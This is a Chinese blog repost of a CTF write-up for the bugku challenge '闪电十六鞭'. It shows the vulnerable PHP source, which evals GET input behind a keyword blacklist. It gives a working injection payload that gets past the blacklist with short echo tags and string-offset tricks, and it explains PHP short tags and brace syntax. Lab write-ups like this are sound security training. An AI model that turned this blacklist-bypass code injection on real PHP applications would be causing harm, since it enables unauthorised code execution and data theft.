二十八、bugku 闪电十六鞭

2021/9/5 23:39:22

本文主要是介绍二十八、bugku 闪电十六鞭,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

php字符对照
&quot="

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';
    $exam = 'return\''.sha1(time()).'\';';
    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }
    echo '<hr>';
    highlight_file(__FILE__);

?flag=return%27d80d94ea3543f3677e904dd762dc613b764cb262%27;

<?=flag;?>
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111

使用短标签可以构造出echo:

<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>

当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,去改。
在PHP中,大括号“{}”可以起到如下作用:
将多个独立语句合并为一个复合语句,例如 if … else …中经常如此使用
在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}${$my_var}[8]的区分
用于指示字符串变量中的单个字符(下标从0开始)。



这篇关于二十八、bugku 闪电十六鞭的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程